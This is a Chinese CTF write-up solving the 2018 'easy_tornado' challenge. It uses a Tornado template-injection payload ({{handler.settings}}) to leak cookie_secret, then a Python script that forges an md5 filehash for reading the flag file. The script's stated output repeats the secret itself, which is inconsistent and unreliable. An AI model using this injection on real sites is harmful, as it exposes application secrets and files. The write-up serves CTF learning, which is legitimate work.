学习笔记2.护网杯 2018 easy_tornado

题目:

/flag.txt  

url:  *.*.*.*/file?filename=/flag.txt&filehash=9f745247e9a50c19f78380013e086deb

/welcome.txt 

url:*.*.*.*/file?filename=/welcome.txt&filehash=1123ed7148dd6878570aa044ed6a7bf3

/hints.txt

url:*.*.*.*/file?filename=/hints.txt&filehash=ea4225e48f839391f5fd52eeeb6e7155

过程:

发现render函数:将文件内容显示在网页上   render函数介绍

测试后发现还有个error界面,格式为:/error?msg=Error

联想render函数,尝试msg=1 

尝试是否可以进行运算msg={{0^1}},发现可以进行运算

且flag在一个名字为/fllllllllllllag的文件里面,仿照url格式,我们还需要知道filehash值,filehash是一个md5后的值,联想第三个界面

md5(cookie_secret+md5(filename)),我们还需要知道cookie_secret,通过漫长的官方文档阅读过程Tornado官方文档,最终找到Tornado框架的附属文件handler.settings中存在cookie_secret

*.*.*.*/error?msg={{handler.settings}}

接下来简单的python脚本就可以了

import hashlib

def md5(s):

 md5 = hashlib.md5() 

 md5.update(s.encode("utf8")) 

 return md5.hexdigest()


def filehash():

 filename = '/fllllllllllllag'

 cookie_secret = '89578fcb715af04268011d343e569dcc'

 print(md5(cookie_secret+md5(filename)))


if __name__ == '__main__':

 filehash()

输出:89578fcb715af04268011d343e569dcc

构造payload:/file?filename=/fllllllllllllag&filehash=89578fcb715af04268011d343e569dcc

总结:模板注入确实练习的不多,19年末,金盾信安杯有一个Twig模板引擎注入当时也没有写出来,后续复现吧

你可能感兴趣的:(学习笔记2.护网杯 2018 easy_tornado)